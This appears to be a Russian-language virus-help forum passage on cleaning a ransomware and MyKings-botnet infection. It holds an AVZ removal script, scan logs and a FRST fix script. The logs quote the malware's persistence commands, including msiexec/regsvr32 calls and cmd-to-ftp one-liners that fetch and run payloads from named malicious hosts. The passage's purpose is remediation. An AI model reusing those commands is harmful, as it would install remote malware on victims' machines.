Внимание. Восстановление баз 1С7, 1C8 и Mssql после атаки шифровальщика, подробности и отзывы читайте в профильной теме.
Внимание. Восстановление архивов RAR и ZIP, образов Acronis и виртуальных машин, баз почтовых программ после атаки шифровальщика, подробности и отзывы читайте в профильной теме.
Прикрепите к следующему сообщению.КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt
begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
SearchRootkit(true, true);
SetAVZGuardStatus(True);
TerminateProcessByName('c:\users\4\appdata\local\temp\nuelk5rj18tkg8t.exe');
QuarantineFile('C:\Windows\System32\Resident\resident_x32.dll','');
QuarantineFile('C:\Windows\System32\Resident\wahiver.exe','');
QuarantineFile('c:\users\4\appdata\local\temp\nuelk5rj18tkg8t.exe', '');
QuarantineFile('C:\Windows\System32\Resident\resident_x32.dll', '');
QuarantineFile('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt', '');
QuarantineFile('C:\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt', '');
QuarantineFile('C:\Users\1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt', '');
QuarantineFile('c:\windows\debug\item.dat', '');
QuarantineFile('C:\Windows\Fonts\ctfmon.vbs', '');
QuarantineFile('c:\windows\debug\ok.dat', '');
DeleteFile('c:\windows\debug\item.dat');
DeleteFile('C:\Windows\Fonts\ctfmon.vbs');
DeleteFile('c:\windows\debug\ok.dat');
DeleteFile('c:\users\4\appdata\local\temp\nuelk5rj18tkg8t.exe', '32');
DeleteFile('C:\Windows\System32\Resident\resident_x32.dll', '32');
DeleteFile('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt', '32');
DeleteFile('C:\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt', '32');
DeleteFile('C:\Users\1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt', '32');
ExecuteFile('schtasks.exe', '/delete /TN "Mysa1" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "Mysa2" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "ok" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "Mysa" /F', 0, 15000, true);
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start1');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','Alcmeter');
BC_ImportALL;
ExecuteSysClean;
BC_Activate;
ExecuteWizard('SCU', 2, 3, true);
RebootWindows(true);
end.
begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.
O4 - Global User Startup: КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt
O4 - HKLM\..\Run: [Alcmeter] C:\Users\4\AppData\Local\Temp\nUElk5rj18tkG8t.exe
O4 - HKLM\..\Run: [start1] msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q
O4 - HKLM\..\Run: [start] C:\Windows\system32\regsvr32.exe /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll
O4 - Startup other users: КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt (User '\2\')
O4 - Startup other users: КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt (User '\3\')
O4 - Startup other users: КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt (User '\4\')
O4 - Startup other users: КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt (User '\Serg\')
O4 - Startup other users: КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt (User '\Администратор\')
O4 - Startup other users: КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt (User '\Совхозная\')
O4 - User Startup: КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt
O22 - Task (Ready): Mysa - C:\Windows\system32\cmd.exe /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe
O22 - Task (Ready): Mysa2 - C:\Windows\system32\cmd.exe /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p
O22 - Task (Ready): \Microsoft\Windows\Location\Scheduled - C:\Windows\Fonts\ctfmon.vbs
O22 - Task (Running): Mysa1 - C:\Windows\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
O22 - Task (Running): ok - C:\Windows\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
Start::
CreateRestorePoint:
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction <======= ATTENTION
GroupPolicy: Restriction ? <======= ATTENTION
HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{82b086fd-ef3a-4e8f-b151-5db1065a3c70} <======= ATTENTION (Restriction - IP)
FF user.js: detected! => C:\Users\1\AppData\Roaming\Mozilla\Firefox\Profiles\lqn8pdtu.default\user.js [2016-04-13]
2017-06-19 18:58 - 2017-06-19 18:58 - 00001401 _____ C:\Users\SUPPORT_388945a0\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-06-19 18:58 - 2017-06-19 18:58 - 00001352 _____ C:\Users\SUPPORT_388945a0\Desktop\Drive.lnk
2017-06-19 18:58 - 2017-06-19 18:58 - 00000750 _____ C:\Users\SUPPORT_388945a0\Desktop\Restart.lnk
2017-06-19 18:58 - 2017-06-19 18:58 - 00000698 _____ C:\Users\SUPPORT_388945a0\Desktop\Logout.lnk
2017-06-19 18:58 - 2017-06-19 18:58 - 00000688 _____ C:\Users\SUPPORT_388945a0\Desktop\Manager.lnk
2017-06-19 18:58 - 2017-06-19 18:58 - 00000678 _____ C:\Users\SUPPORT_388945a0\Desktop\Install.lnk
2010-11-21 03:29 - 2010-11-21 03:29 - 0000176 _____ () C:\Program Files\КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt
2010-11-21 03:29 - 2010-11-21 03:29 - 0000176 _____ () C:\Users\1\AppData\Local\КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt
2010-11-21 03:29 - 2010-11-21 03:29 - 0000176 _____ () C:\ProgramData\КАК РАСШИФРОВАТЬ ФАЙЛЫ.txt
Task: {4466276C-1A25-479C-9039-F137D8D1CCBE} - System32\Tasks\ok => Rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
Task: {F78149C7-2F9B-4198-B591-A62DC858792C} - System32\Tasks\Mysa2 => cmd /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {FE194DF8-C5F0-4898-BD14-635695F62543} - System32\Tasks\Mysa1 => Rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
WMI_ActiveScriptEventConsumer_fuckyoumm2_consumer: <===== ATTENTION
AlternateDataStreams: C:\Windows:Active.txt [13]
AlternateDataStreams: C:\Windows\Temp:Account.txt [0]
AlternateDataStreams: C:\Users\1\AppData\Local\Temp:Account.txt [0]
Reboot:
End::
Не нашли?Постарайтесь найти пару - зашифрованный/не зашифрованный оригинал
We use cookies and similar technologies for the following purposes:
Do you accept cookies and these technologies?
We use cookies and similar technologies for the following purposes:
Do you accept cookies and these technologies?